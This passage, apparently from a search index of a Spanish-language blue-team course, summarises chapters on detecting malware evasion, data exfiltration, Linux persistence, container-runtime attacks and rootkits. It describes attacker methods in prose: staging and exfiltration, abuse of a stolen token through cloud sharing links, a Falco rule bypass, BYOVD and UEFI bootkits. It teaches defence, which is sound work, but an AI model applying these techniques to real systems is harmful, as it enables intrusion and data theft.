de escalar: el código virtualizado. De ahí sale el segundo movimiento, el más incómodo y el más útil: medir empíricamente qué detecta el sensor propio en lugar de creerle a la hoja de producto —cuatro pruebas documentadas encuentran ventanas de horas, formatos contenedor ignorados y cadenas de LOLBins no correlacionadas—. Incluye el análisis del artefacto de acceso inicial —documentos y scripts maliciosos: la desofuscación de JS/VBA y macros con box-js, pdf-parser y oledump, y la emulación de shellcode con scdbg—, que es la ilustración más pura de la tesis (el script tiene que desofuscarse para correr) y dice qué aristas padre-hijo alertar. Cierra con la otra cara de la fatiga de alertas: el falso positivo heredado de una reputación ajena. Cierra 3.11 y 2.6.","tags":["blue-team","malware-analysis","reversing","edr-xdr","deteccion","threat-hunting","ioc"],"title":"5.8 · Análisis de malware y detección de evasión","url":"/speculum/p5-blue-dfir/5-8-deteccion-evasion/"},{"content":"Panorama: el dato, no el canal El capítulo anterior siguió la comunicación: cómo se caza un implante que tiene que hablar con su operador, con las señales de forma que sobreviven al cifrado. Este sigue el dato: qué se está yendo, cuánto, por dónde, y —lo que resulta ser la pregunta más productiva— qué pasó antes de que se fuera. Son dos ejes del mismo plano saliente y conviene no confundirlos, porque llevan a telemetrías distintas y a controles distintos. Un canal de C2 puede estar activo durante meses moviendo kilobytes; una exfiltración puede consumarse en diez minutos por un canal que nunca antes se usó y que nunca volverá a usarse.\nLa tesis tiene dos mitades. La primera: la exfiltración se detecta por el canal y el volumen, no por el contenido, porque el contenido va cifrado casi siempre y porque inspeccionarlo es caro, invasivo y con frecuencia legalmente restringido. La segunda, que ordena la parte final: el estegoanálisis es un problema estadístico y no de firmas, con un límite honesto que conviene enunciar antes de desarrollarlo —funciona contra la incrustación ingenua y pierde contra el cifrado previo—.\nY hay un corolario que atraviesa todo el capítulo y que vale la pena adelantar, porque reordena dónde conviene poner el esfuerzo: el mejor punto de detección de una fuga no es la salida, sino la preparación. Cuando los datos ya están cruzando el borde, quedan pocos segundos y pocas opciones. En cambio la fase previa —reunir los archivos, apilarlos en un directorio temporal, comprimirlos— ocurre dentro del host, es visible para el sensor de endpoint y es profundamente anómala: los usuarios normales no comprimen cuatrocientos documentos en AppData un jueves a la tarde.\nEste capítulo cierra el último hilo de red del bloque rojo, el de la esteganografía y los canales encubiertos (3.12), cuya tesis —que la ocultación gana contra la inspección de contenido y no contra la telemetría de ejecución— es exactamente lo que aquí se desarrolla desde el lado defensivo.\nflowchart TD A[\"Acceso ya obtenido(insider o intruso)\"] --\u003e B[\"Descubrimientobúsquedas sensibles · repositorios raros\"] B --\u003e C[\"Recolecciónacceso/descarga masiva\"] C --\u003e D[\"STAGING localTemp · AppData · Escritorio\"] D --\u003e E[\"Compresión / cifradoArchiveCreated\"] E --\u003e F{\"Salida\"} F --\u003e|\"nube personal\"| G[\"CASB / proxy\"] F --\u003e|\"webmail\"| H[\"Proxy / DLP\"] F --\u003e|\"DNS\"| I[\"Resolver corporativo\"] F --\u003e|\"SaaS nativo(sharing link)\"| J[\"⚠ NO cruza la redsolo audit logs de la nube\"] F --\u003e|\"API scraping\"| K[\"Gateway + antifraude\"] G -.-\u003e|\"bloqueado →\"| L[\"REPLIEGUE= señal de intencionalidad\"] H -.-\u003e L L --\u003e M[\"Borrado de evidencia\"] D -.-\u003e|\"mejor puntode detección\"| N[\"EDR: local, anómalo, temprano\"]La anatomía de una fuga Casi todas las exfiltraciones documentadas recorren la misma secuencia, con independencia de si el actor es un intruso externo o un empleado. Reconocerla permite construir detección en cada eslabón en lugar de apostar todo al último.\nDescubrimiento. Antes de llevarse algo hay que encontrarlo. En entornos de colaboración esto deja rastro explícito: consultas de búsqueda por términos sensibles —auditoría, pagos, credenciales, datos de clientes— y acceso a repositorios que la persona no toca habitualmente. Es una señal temprana y muy barata de vigilar.\nRecolección. Descarga o acceso masivo a los archivos localizados. En la nube aparece como una ráfaga de eventos de acceso y descarga; en el endpoint, como lectura intensiva.\nStaging. Los archivos se concentran en un directorio local, típicamente Temp, AppData o el escritorio. Este es el eslabón que conviene priorizar. No cruza ninguna frontera de red, así que ningún control perimetral lo ve, pero el sensor de endpoint sí —y el patrón «muchos archivos escritos en poco tiempo en una ruta temporal por un proceso que no es un instalador» tiene muy pocos análogos legítimos—.\nCompresión y cifrado. El paquete se arma. Aquí hay un detalle que se subestima: el archivo comprimido con contraseña es a la vez la derrota del DLP y la señal que lo delata, y volveré sobre eso más abajo.\nSalida. El intento de sacarlo, por alguno de los canales de la sección siguiente.\nRepliegue. Si el primer canal se bloquea, el actor prueba otro. En el caso documentado de amenaza interna, el usuario intenta primero una nube personal, es interceptado por el intermediario de acceso a la nube, y inmediatamente reintenta por un servicio de correo web. Ese reintento es forensemente valioso: un usuario que tropieza con una política corporativa por error se detiene y pregunta; el que persiste por una vía alternativa está demostrando intención. Un bloqueo de DLP no es el final de un incidente, es el comienzo de una investigación.\nBorrado de evidencia. Eliminar la copia local, limpiar el historial. Es una señal tardía pero, como se verá, prácticamente irrefutable.\nLos canales de salida, por dificultad creciente No todos los canales cuestan lo mismo de detectar, y ordenarlos ayuda a decidir dónde invertir.\nCarga a servicios web y nubes personales. El caso más común y el más manejable: un intermediario de acceso a la nube (CASB) o el proxy ven el destino y el volumen. La detección se apoya en la distinción entre servicios sancionados y no sancionados, más el volumen saliente. Es también donde el DLP tiene su mejor oportunidad.\nCorreo web personal. Similar, con la complicación de que muchas organizaciones no pueden bloquearlo en bloque. Suele aparecer como canal de repliegue, tal como muestra el caso anterior.\nDNS. Ya desarrollado en 5.7 desde el eje del canal; visto desde el dato, lo que importa es que es lentísimo —la fragmentación en consultas impone un techo de ancho de banda muy bajo—, lo que lo vuelve apto para robar credenciales o documentos pequeños e inviable para volúmenes grandes sin producir una anomalía volumétrica insostenible.\nMedios físicos. El USB sigue existiendo y su telemetría es de endpoint, no de red. La instalación de un dispositivo de almacenamiento queda registrada y es un eslabón que muchos programas de detección olvidan.\nInterfaces programáticas. Extracción por API, tratada más abajo, donde el «volumen» hay que medirlo en registros entregados y no en bytes.\nCompartición nativa de la nube. Y aquí está el caso incómodo, que merece su propia sección.\nExfiltración que no cruza el perímetro El escenario que más desordena las suposiciones heredadas es el de la nube, porque el dato puede irse sin que un solo paquete salga de la red corporativa.\nEl caso documentado empieza con un secreto expuesto —un token de API o secreto de cliente filtrado en un archivo, un repositorio o una variable de integración—. El atacante lo valida desde una IP inusual mediante un inicio de sesión no interactivo de una identidad de servicio, y con eso obtiene acceso programático al entorno. No hubo phishing, no hubo malware, no hay endpoint comprometido: hay una credencial válida usada por quien no debía. Es la misma lección que 5.3 fijó y que conviene repetir porque se olvida —que una autenticación tenga éxito no implica que sea legítima—, con el agravante de que una identidad de servicio no tiene MFA que oponer ni usuario que sospeche.\nLo que sigue es enumeración metódica a través de la API: contexto de la organización, usuarios, pertenencia a grupos y roles asignados —para mapear qué permisos tiene el token robado—, y después el recorrido sistemático del almacenamiento: sitios, unidades, carpetas. Esa secuencia deja una señal volumétrica y estructural muy distinguible: una aplicación legítima llama a un conjunto acotado y estable de rutas propias de su función, mientras que un script de descubrimiento recorre el árbol. Después vienen las búsquedas por términos sensibles y el acceso masivo a los archivos encontrados.\nY entonces la exfiltración: en lugar de descargar y subir a otro lado —lo que cruzaría el perímetro y encontraría al proxy—, el atacante crea enlaces de compartición externa sobre los documentos que le interesan. El dato no se mueve; se vuelve accesible desde afuera. Nin","section":"P5 · Blue Team, Detección y DFIR","summary":"Si 5.7 siguió el canal, este capítulo sigue el dato. La exfiltración tiene una anatomía estable —recolección, staging local, compresión, salida y repliegue— y el mejor punto de detección no está en la salida sino antes: el staging es local, anómalo y visible para el EDR. Recorre la jerarquía de canales por dificultad creciente hasta el caso más incómodo, la exfiltración nativa de la nube, donde el dato se va sin que ningún paquete cruce el perímetro. Trata el scraping por API, el insider —el escenario sin IOC, donde solo queda el comportamiento— y los límites honestos del DLP, que se derrota cifrando antes de salir. Cierra con el estegoanálisis como problema estadístico y no de firmas: gana contra el LSB ingenuo y pierde contra el cifrado previo, razón por la cual el plano fuerte sigue siendo el conductual. Cierra 3.12.","tags":["blue-team","exfiltracion-def","deteccion","dlp","estegoanalisis","insider-threat","cloud-security"],"title":"5.9 · Detección de exfiltración y estegoanálisis","url":"/speculum/p5-blue-dfir/5-9-deteccion-exfil-estego/"},{"content":"Panorama: la única técnica que se queda quieta Los tres capítulos anteriores persiguieron cosas que se mueven. El C2 de 5.7 se caza mientras habla; el implante de 5.8 se analiza mientras se ejecuta; la exfiltración de 5.9 deja una ventana de minutos y después ya ocurrió. En todos, el defensor llega tarde por diseño: la señal es transitoria y su vida útil termina cuando el adversario apaga el proceso.\nLa persistencia es la excepción, y conviene entender por qué antes de mirar una sola herramienta. La conclusión de 3.14 era que toda persistencia consiste en suscribir código propio a un disparador de ejecución que el sistema operativo ya honra. Esa definición trae consigo una consecuencia defensiva que no se puede evitar sin dejar de persistir: para que el sistema honre el disparador, el disparador tiene que estar registrado en algún lugar que el sistema consulte. Una unidad de systemd que no está en disco no arranca. Una clave SSH que no está en authorized_keys no autentica. Un módulo de kernel que no se carga no engancha nada. El artefacto sobrevive al reinicio porque tiene que sobrevivir al reinicio, y eso lo vuelve un objeto quieto, presente y —la propiedad que importa— enumerable.\nDe ahí la tesis del capítulo, que tiene dos mitades y una advertencia. La primera: los disparadores que Linux honra son finitos y están documentados, así que la detección de persistencia no es una persecución sino una auditoría —se compara un conjunto acotado de lugares contra una línea base de lo que debería ejecutarse solo—. La segunda: cuando el adversario baja al kernel, esa regla se invierte, porque las herramientas con las que se hace la enumeración corren sobre el sistema que se está auditando y el sistema comprometido les miente; ahí la única salida es un punto de observación externo. Y la advertencia, que es donde se pierden los programas reales: finito no significa pequeño, y el sistema legítimo escribe en esos mismos lugares todos los días. La dificultad de este capítulo no es saber dónde mirar —eso ya lo enumeró 3.14 desde el lado ofensivo—, sino sostener la línea base que convierte «hay una unidad de systemd» en «hay una unidad de systemd que no estaba ayer».\nLa telemetría nativa y el hueco que deja 5.2 estableció la capa de datos del lado Windows y una regla que vale igual acá: no se detecta lo que no se registra. El equivalente Linux es más viejo, más simple y considerablemente más incompleto.\nLa bitácora de autenticación —/var/log/auth.log en familias Debian, /var/log/secure en las derivadas de Red Hat— documenta lo que en un compromiso importa: aperturas de sesión, uso de sudo, cambios de credenciales, altas de cuentas y de grupos. En una intrusión real esta bitácora suele ser la primera evidencia legible: una apertura de sesión de tipo CRON para el usuario root a una hora en la que nadie programó nada, seguida de un sudo apt-get install de un paquete que ningún administrador pidió, es exactamente la firma de un adversario que ya tiene privilegio y está montando su infraestructura en el host. El journal de systemd agrega algo que el texto plano no tiene: campos estructurados (_PID, _COMM, _UID, _SYSTEMD_UNIT) que permiten consultar sin inventar expresiones regulares.\nEsa diferencia con Windows es más importante de lo que parece a la hora de operar. El modelo de Event Logs de 5.2 entrega eventos numerados y con esquema: 4688 significa lo mismo en todas las máquinas de la organización, y una regla escrita una vez se aplica en todas. En Linux, buena parte de la telemetría llega como texto semiestructurado producido por cada demonio a su gusto, con formatos que cambian entre distribuciones y entre versiones del mismo paquete. La consecuencia práctica es que en un despliegue Linux la mitad del trabajo de detección es la normalización, y ese trabajo es invisible en cualquier hoja de producto: una regla de caza que funciona perfecto en el laboratorio falla en producción porque la flota tiene tres distribuciones y dos formatos de sshd. Es el mismo argumento que cerraba el capítulo fuente sobre análisis de registros —conocer el formato crudo y no depender del panel—, con una carga operativa mayor.\nPero el hueco grande es otro, y es el que define casi todo lo que sigue. Linux no audita la creación de procesos por defecto. No existe un equivalente nativo y activo de 4688: sin configuración adicional, un host Linux no puede responder «qué se ejecutó ayer a las tres de la mañana, con qué argumentos y quién era el padre». Esa es precisamente la pregunta que resuelve la mayoría de las investigaciones de persistencia, porque el artefacto en disco dice qué se plantó y solo la telemetría de ejecución dice que efectivamente disparó y qué hizo entonces. Un host Linux con la configuración de fábrica es, para los fines de este capítulo, un host mayormente ciego. Todo lo que viene —auditd, FIM, eBPF— existe para tapar ese hueco.\nLos registros son archivos de texto y el adversario que persiste ya tiene privilegio. El mismo root que instala la unidad de systemd puede editar /var/log/auth.log con un editor de texto: no hay que evadir nada, solo borrar líneas. Cualquier programa de detección de persistencia en Linux que se apoye únicamente en logs locales está confiando su evidencia a la custodia del atacante. Las dos contramedidas son baratas y complementarias: reenvío inmediato a un colector remoto —donde el adversario tendría que comprometer un segundo sistema para alterar lo ya enviado— y el sellado criptográfico del journal (Forward Secure Sealing), que no impide el borrado pero lo vuelve detectable. Es el mismo razonamiento que el 1102 de 5.2 y el mismo que lleva a exigir audit logs remotos y de solo anexado en el plano de control de contenedores. La línea base de auto-ejecución Si el artefacto es enumerable, el instrumento primario es un inventario. Enumerar el conjunto de auto-ejecución significa recorrer todas las familias de disparador que 3.14 describió y volcarlas a un estado comparable: unidades y temporizadores de systemd, la totalidad de los crontab —los de usuario, /etc/crontab, /etc/cron.d/ y los directorios cron.*—, los authorized_keys de cada cuenta, los fragmentos de /etc/profile.d/ y los rc de shell, update-motd.d, las reglas de udev y los hooks del gestor de paquetes.\n$ systemctl list-unit-files --state=enabled --no-pager systemctl list-timers --all --no-pager for u in $(cut -d: -f1 /etc/passwd); do crontab -l -u \"$u\" 2\u003e/dev/null | sed \"s/^/[$u] /\"; done find /etc/cron.d /etc/cron.hourly /etc/cron.daily /etc/profile.d /etc/update-motd.d -type f -printf '%T+ %p\\n' find /home /root -name authorized_keys -printf '%T+ %p\\n' -exec cat {} \\; ⧉ copiar Lo que hace útil a ese inventario no es ejecutarlo durante un incidente —cuando ya hay poco con qué comparar— sino haberlo ejecutado antes, sobre un host que se sabe limpio, y haberlo versionado. La detección no es la lista: es el diff contra la lista anterior. Una unidad nueva en /etc/systemd/system/ no es sospechosa por su nombre —el adversario competente la llamará algo como dbus-update.service, justamente porque el nombre es lo único que controla gratis—, sino por no haber estado ahí la semana pasada en un host cuyo rol no cambió.\nEsto le da a la immutable infrastructure un valor defensivo que suele venderse como una ventaja de despliegue. Cuando los hosts se reconstruyen desde una imagen en lugar de parchearse en vivo, la línea base no hay que mantenerla: es la imagen, y cualquier divergencia respecto de ella es, por definición, algo que alguien introdujo después del despliegue. En una flota inmutable la pregunta «¿esta unidad de systemd debería existir?» tiene respuesta automática. En una flota de servidores administrados a mano durante ocho años, esa misma pregunta requiere encontrar a la persona que administraba ese servicio en 2019.\nQueda una trampa que ya apareció en 5.6 a propósito del baselining de UEBA y que acá reaparece idéntica: una línea base capturada sobre un host ya comprometido hereda el compromis","section":"P5 · Blue Team, Detección y DFIR","summary":"El espejo azul de 3.14. La persistencia tiene una debilidad que la exfiltración y el C2 no tienen: deja un artefacto quieto en disco, y los disparadores que el sistema honra son finitos, por lo tanto enumerables. De ahí que la detección sea auditoría de un conjunto acotado contra una línea base, y no persecución de un comportamiento fugaz. Recorre la telemetría nativa de Linux y su hueco más grande —no hay auditoría de creación de procesos por defecto—, auditd y AIDE con sus límites honestos, la señal que rinde en cada familia de disparador, y la verificación de paquetes como línea base criptográfica gratuita. Cierra con el caso donde la regla se invierte: cuando el host miente, hay que observarlo desde fuera. Cierra 3.14.","tags":["blue-team","linux","persistencia-def","deteccion","auditd","ebpf","forense","rootkit"],"title":"5.10 · Detección de persistencia en Linux","url":"/speculum/p5-blue-dfir/5-10-deteccion-persistencia-linux/"},{"content":"Panorama: la ventaja que cambia la economía del problema El capítulo anterior terminó con un problema caro. La detección de persistencia en un host Linux se apoyaba en una línea base de auto-ejecución que hay que construir, versionar y mantener contra un sistema de propósito general donde el software legítimo escribe en los mismos lugares que el adversario. Finito no era pequeño: la parte difícil no era saber dónde mirar sino sostener el conocimiento de qué debería estar ahí.\nEl contenedor invierte esa economía, y esa inversión es la primera mitad de la tesis de este capítulo. Un contenedor de propósito único tiene un conjunto de comportamiento permitido tan reducido que la línea base deja de ser un proyecto y pasa a derivarse de la definición del workload. Una imagen que existe para servir una API en Go ejecuta un binario, escucha en un puerto y habla con una base de datos; no compila nada, no abre intérpretes de comandos, no lee /etc/shadow y no monta sistemas de archivos. En un servidor de propósito general, «se lanzó un intérprete de comandos» es ruido puro —ocurre miles de veces por día y casi siempre es legítimo—. En un contenedor de producción es una de las señales más limpias que existen en toda la seguridad defensiva: fidelidad casi perfecta, sin listas de excepciones que mantener, y sin la fatiga de alertas que 5.1 identificaba como la enfermedad crónica del SOC. Es la razón por la que el disparo emblemático del IDS cloud-native —«a shell was spawned in a container with an attached terminal»— vale tanto con una regla tan simple.\nLa segunda mitad de la tesis corrige el entusiasmo. Un sensor de host, por bueno que sea, cubre solo la mitad del problema, porque Kubernetes tiene dos planos y el adversario puede operar entero en el que ningún sensor de endpoint observa. El plano de datos son las cargas de trabajo corriendo en los nodos, y ahí el IDS de runtime es el instrumento. El plano de control es el API server: quien roba el token de un service account —que 3.16 señalaba como la vía de escalada número uno— no ejecuta nada en ningún nodo. Enumera permisos, lee secrets, crea recursos y despliega cargas de trabajo, todo mediante peticiones HTTP autenticadas contra una API. No hay proceso anómalo que interceptar, no hay archivo que cambie, no hay syscall sospechosa. Es exactamente la situación de 5.9 con la exfiltración nativa de SaaS: actividad plenamente maliciosa que no aparece en ninguna telemetría de endpoint, y cuya única fuente es el registro de auditoría del servicio.\nY hay un tercer elemento que reordena el resto: la efimeridad. El host de 5.10 seguía ahí cuando alguien decidía auditarlo. Un pod puede haber sido reprogramado, terminado y reemplazado por el propio orquestador antes de que un analista abra la alerta que generó. Eso no cambia qué se detecta, pero cambia radicalmente cómo se responde y qué queda para investigar.\nPor qué el sensor de 5.10 no se traslada 5.10 dejó dicho de pasada el motivo y conviene desarrollarlo, porque es lo que fuerza toda la arquitectura siguiente: auditd no entiende espacios de nombres. La herramienta es anterior a los contenedores y su modelo mental es una máquina con usuarios y procesos. Cuando en un nodo que corre cuarenta pods se registra un execve, auditd informa un identificador de proceso y un usuario del host —y traducir eso a «qué contenedor, de qué pod, de qué deployment, de qué equipo» es un trabajo de correlación externo, frágil y parcial. Sin esa traducción, la alerta no es accionable: nadie puede responder a «hubo un bash en el nodo 12».\nLo mismo le pasa al FIM. Vigilar los archivos del nodo no dice nada de lo que ocurre dentro de la raíz de un contenedor, y la vigilancia dentro del contenedor tropieza con una propiedad que en este modelo es una ventaja: el sistema de archivos del contenedor es efímero, así que un cambio dentro de él no sobrevive al reinicio. Esto es una buena noticia defensiva —3.16 ya lo señalaba: la persistencia tradicional no funciona igual, el adversario tiene que subir al plano de control o bajar al nodo— pero deja al FIM sin objeto. El conjunto de disparadores enumerables que hacía tratable a 5.10 no existe con la misma forma acá.\nQueda además el efecto de la inmutabilidad, que es aprovechable si se lo declara. Una imagen de contenedor es un artefacto fijo y conocido: cualquier binario que se ejecute y que no venga de la imagen es, por construcción, algo que alguien introdujo en tiempo de ejecución. Ese es el equivalente contenerizado —y bastante más fuerte— de la verificación contra paquetes que 5.10 recomendaba, y es lo que permite montar el sistema de archivos como solo lectura y convertir cualquier escritura en un evento en lugar de un dato.\neBPF: el sensor correcto y sus tres límites La respuesta a la ceguera de auditd es el IDS basado en eBPF, que ejecuta código verificado dentro del kernel y observa las syscalls con el contexto de espacio de nombres y de grupo de control. Esa última propiedad es la que importa: no es que vea más eventos, es que puede atribuirlos a la carga de trabajo correcta, que era justo lo que faltaba. Falco —y su par Tracee— son la referencia: interceptan execve, open y compañía, y evalúan un catálogo de reglas. Las de comunidad ya cubren lo esencial: procesos permitidos por contenedor, puertos de entrada esperados por componente del plano de control, escritura en rutas que deberían ser de solo lectura, montajes sensibles.\nHay una elección de diseño que conviene explicitar. El IDS clásico contrapone firma y anomalía: la firma es liviana pero ciega ante lo nuevo; la anomalía cubre lo desconocido pero es más costosa y —el problema real— obliga al defensor a definir qué es «correcto», lo que traslada a él toda la carga. Ese ha sido históricamente el argumento en contra de la detección por anomalía. En contenedores ese argumento se debilita mucho, y por la razón del panorama: definir el comportamiento correcto de un pod de propósito único es factible, y en buena medida ya está hecho en su manifiesto. La detección por anomalía es cara donde el sistema es de propósito general; acá el sistema colabora.\nDicho lo cual, corresponde el mismo rigor que 5.8 aplicó a la medición de sensores. El IDS de runtime tiene tres límites y ninguno es un defecto de implementación:\nLas reglas son código, y el código tiene errores. El caso documentado es ejemplar: un investigador encontró que una regla de Falco que identificaba imágenes confiables comparaba por prefijo de repositorio, de modo que una imagen alojada bajo un nombre de organización terminado en la cadena esperada satisfacía la comparación. El resultado era desplegar un agente privilegiado propio sin generar una sola alerta. La lección es la de 5.8 sin cambios: una regla no está terminada cuando se escribe, sino cuando se verificó que dispara —y el catálogo entero, incluido el heredado de la comunidad, hay que validarlo con pruebas dirigidas en vez de darlo por correcto porque existe—. Es el ejercicio purple en su forma más concreta. El sensor tiene superficie de ataque propia. eBPF corre en el kernel con privilegio, su verificador ha tenido fallos explotables que permitieron evadir sus comprobaciones de límites, y —como ya advertía 5.10— frente a un adversario que ya está en el kernel no goza de inmunidad especial: comparte dominio de confianza con él. Su ventaja decisiva no es ser inviolable, es observar el ataque mientras se instala, antes de que exista nada que lo subvierta. Para detectar el escape hay que desplegar algo capaz de escapar. El agente necesita privilegio sobre el nodo —capacidades de eBPF y visibilidad del espacio de procesos del host—, es decir, exactamente el perfil que 3.16 describía como precursor de casi todo breakout. Esa tensión no se resuelve, se administra: el agente de seguridad es un objetivo de alto valor, su imagen y su cadena de suministro merecen el escrutinio más estricto del clúster, y su capacidad de despliegue debe estar entre las más restringidas por política. E","section":"P5 · Blue Team, Detección y DFIR","summary":"El espejo azul de 3.16 y el capítulo que cierra P5. El contenedor de propósito único invierte el problema que hacía caro todo lo anterior: su comportamiento permitido es tan pequeño y está tan declarado que la línea base deja de ser un proyecto y pasa a derivarse de la definición del workload. Sobre esa ventaja se apoya el IDS de runtime por eBPF, con sus tres límites honestos. Pero el sensor de host solo cubre la mitad: el adversario que roba un token de service account no ejecuta nada en ningún nodo, y ahí el audit log del API server pasa de complemento a fuente primaria. Cierra con lo que la efimeridad le hace al forense y con la propiedad más aprovechable del modelo: en Kubernetes el ataque se declara antes de ejecutarse. Cierra 3.16 y la Parte 5.","tags":["blue-team","contenedores","kubernetes","deteccion","ebpf","falco","forense","cloud-security"],"title":"5.11 · Detección en runtime de contenedores","url":"/speculum/p5-blue-dfir/5-11-deteccion-runtime-contenedores/"},{"content":"Panorama: al árbitro no se le pregunta si hace trampa Un rootkit es malware que se especializa en una sola cosa: ocultar su presencia obteniendo acceso a una capa del sistema igual o más baja que aquella donde corren las herramientas que lo buscarían. La palabra viene del mundo Unix —el conjunto de utilidades («kit») que le daban a un intruso el control de la cuenta root— pero su definición operativa es más precisa y más incómoda: un rootkit no evade la detección, la subvierte desde adentro. Cuando el administrador de tareas pregunta qué procesos corren, es el sistema operativo quien responde; si el rootkit vive en el sistema operativo, controla la respuesta. Se le está preguntando al árbitro si hace trampa, y el árbitro es el tramposo.\nEsto vuelve al rootkit un problema categóricamente distinto del resto de P5. Contra un implante en espacio de usuario, el defensor y el atacante compiten en el mismo plano y la telemetría es confiable. Contra un rootkit de kernel, la telemetría es el campo de batalla: la lista de procesos, la tabla de conexiones, el enumerado de módulos —todo lo que un agente de endpoint lee para decidir si hay algo malo— pasa por estructuras que el rootkit puede reescribir. Por eso este capítulo no empieza por «qué reglas escribir» sino por una pregunta previa: ¿desde dónde se observa un sistema que miente sobre sí mismo?\nP5 ya respondió esa pregunta dos veces, en dos superficies, y este capítulo se apoya explícitamente en ambas en lugar de repetirlas. El forense de memoria (5.5) mostró la técnica de vista cruzada en Windows: un proceso que un rootkit desenlazó de la lista del kernel sigue apareciendo cuando Volatility escanea la memoria física buscando la firma de las estructuras (psscan frente a pslist), porque el rootkit manipuló la lista pero no pudo borrar el objeto. La detección de persistencia en Linux (5.10) llevó el mismo principio al otro sistema operativo —dos caminos hacia el mismo dato, uno de los cuales el rootkit olvidó cubrir— y estableció la regla de erradicación: un rootkit de kernel confirmado no se limpia, se reinstala desde medio limpio.\nLo que ninguno de los dos alcanza es lo que este capítulo añade, y que justifica un capítulo propio:\nLa escalera de profundidad completa, incluyendo el peldaño que está por debajo del kernel y que 5.5/5.10 no tocan: el firmware. Los bootkits residen en la UEFI, se ejecutan antes que el sistema operativo y sobreviven al formateo del disco y a la reinstalación limpia que 5.10 daba por remedio suficiente. El vector de entrada al anillo 0 que domina hoy: BYOVD (Bring Your Own Vulnerable Driver), cargar un driver legítimo y firmado pero vulnerable para llegar al kernel sin escribir un rootkit nuevo. Es un vector rico en telemetría y con una contramedida concreta. La arquitectura de integridad de kernel de Windows —DSE, PatchGuard, HVCI/VBS, Secure Boot— que es, para las capas más profundas, la única defensa que gana, porque convierte la detección-después-del-hecho en prevención. El hilo que ordena todo es un principio de punto de observación: contra un rootkit, la detección confiable tiene que venir desde una capa más baja o exterior a la que el rootkit controla —memoria adquirida sin intervención del host, el hipervisor por debajo del kernel, el hardware que mide el arranque— o de una inconsistencia que el rootkit no logró cubrir en todos los caminos a la vez. Y cuanto más profundo vive el rootkit, más se inclina la balanza de la detección hacia la prevención.\nflowchart TB A[\"Herramientas del host en vivoTask Manager · agente EDR · lsmod\"] A --\u003e|\"confían en\"| B[\"Espacio de usuario · anillo 3rootkit de userland: hooking de IAT/inline\"] B --\u003e|\"confía en\"| C[\"Kernel · anillo 0rootkit de kernel: DKOM · SSDT · IRP hook\"] C --\u003e|\"confía en\"| D[\"Firmware · UEFIbootkit: LoJax · BlackLotus · MoonBounce\"] D --\u003e|\"confía en\"| E[\"Hardware · raíz de confianza · TPM\"] V1[\"Vista cruzadados caminos al mismo dato\"] -.detecta.-\u003e C V2[\"Memoria/disco offline+ hipervisor · HVCI/VBS\"] -.observa desde abajo.-\u003e C V3[\"Arranque medido + TPMattestation · PCR\"] -.mide desde el hardware.-\u003e D style C fill:#7f1d1d,color:#fff style D fill:#7f1d1d,color:#fffLa escalera de profundidad: dónde vive un rootkit Los rootkits se ordenan por la capa que comprometen, y esa capa determina a la vez su poder, su durabilidad y la única vía por la que se los puede ver. La escalera baja del anillo 3 al silicio.\nUserland (anillo 3). El rootkit más superficial engancha las funciones de biblioteca o la tabla de importaciones de otros procesos para filtrar lo que estos ven: intercepta la enumeración de archivos para ocultar el suyo, la de procesos para ocultar el propio. En Linux es el patrón LD_PRELOAD / /etc/ld.so.preload que la persistencia en Linux (3.14) desarrolló, y su detección —comparar ls contra una lectura directa del directorio— vive en 5.10. Tiene un límite estructural que lo condena: solo miente a los procesos que cargan la biblioteca enganchada; un binario enlazado estáticamente o una syscall directa lo ven todo, y por eso el rootkit «serio» baja un escalón. Este capítulo no vuelve sobre esta capa salvo para situarla: es el peldaño donde la detección todavía es fácil.\nKernel (anillo 0). Es el rootkit clásico y el que da nombre al problema. Un rootkit de kernel no le miente a un proceso, le miente al kernel entero, y por tanto a todo lo que corre encima. En Windows su arquitectura es casi siempre dual: un componente en modo usuario despliega la carga y le envía órdenes mediante DeviceIoControl, mientras un driver en modo kernel ejecuta las operaciones privilegiadas. Esa dualidad es en sí un rasgo detectable —un proceso de usuario conversando por IOCTL con un driver recién cargado y sin firmar es anómalo— pero exige haber puesto los sensores antes de que el driver se oculte. Las técnicas que ejecuta una vez dentro (DKOM, hooking de la SSDT, filtros de IRP) se tratan más abajo por su valor de detección, no por su mecánica ofensiva.\nFirmware / UEFI: el bootkit. Aquí está el peldaño que 5.5 y 5.10 no alcanzan, y el que convierte a los rootkits en el extremo de la escalera de persistencia que la post-explotación en Windows (3.18) y 3.14 recorrieron. Un bootkit compromete la UEFI (Unified Extensible Firmware Interface), el firmware que inicializa el hardware y carga el sistema operativo. Al residir en la memoria flash SPI de la placa —fuera del disco lógico— y ejecutarse antes que el sistema operativo, un bootkit sobrevive al formateo del disco, a la reinstalación del sistema y hasta al reemplazo del disco duro: la reinstalación desde medio limpio que 5.10 daba por erradicación garantizada no lo toca. Los casos reales marcan la progresión: LoJax (2018, atribuido a APT28) fue el primer bootkit UEFI observado en la práctica, reutilizando un módulo antirrobo legítimo; MoonBounce y MosaicRegressor lo refinaron; y BlackLotus (2023) fue el primero en derrotar Secure Boot en sistemas parcheados, explotando CVE-2022-21894 (Baton Drop) para neutralizar la verificación de arranque. El bootkit es, literalmente, un rootkit que se instala por debajo del único árbitro que quedaba.\nHipervisor. El peldaño teórico más bajo: un rootkit que se inserta como hipervisor por debajo del sistema operativo, degradándolo a huésped virtual sin que este lo perciba (las pruebas de concepto Blue Pill y SubVirt de mediados de los 2000). Fuera de la investigación no es una amenaza corriente —el costo y la fragilidad son altos— pero define el fondo conceptual de la escalera: siempre hay una capa más baja, y quien la posee ve a las de arriba sin ser visto.\nLa entrada al anillo 0: el problema de la firma y BYOVD Para que exista un rootkit de kernel, primero tiene que ejecutarse código en el kernel, y Windows moderno lo pone difícil. La DSE (Driver Signature Enforcement, exigencia de firma de controladores) obliga, en las ediciones de 64 bits, a que todo driver que se cargue esté firmado por un certificado de confianza. Esa barrera empujó toda la técnica ofensiva","section":"P5 · Blue Team, Detección y DFIR","summary":"A un rootkit no se le pregunta si está: posee el árbitro que respondería. Este capítulo consolida las dos detecciones que P5 ya construyó —el forense de memoria de 5.5 para la vista cruzada en Windows y la detección de persistencia de 5.10 para Linux— y añade lo que ninguno alcanza: la escalera de profundidad completa hasta el firmware, el vector de entrada al anillo 0 que domina hoy (BYOVD, cargar un driver firmado pero vulnerable), y la arquitectura de integridad que es la única defensa que gana. La tesis es incómoda pero clarificadora: contra un adversario que reside en la capa donde corren las herramientas de inspección, la respuesta no es detección sino diseño —negar el punto de observación (HVCI/VBS mueve el árbitro por debajo del kernel), controlar quién entra al anillo 0 (lista de drivers bloqueados) y anclar el arranque en el hardware (Secure Boot + arranque medido + TPM)—; y donde la detección todavía aplica, tiene que venir desde abajo o desde afuera del 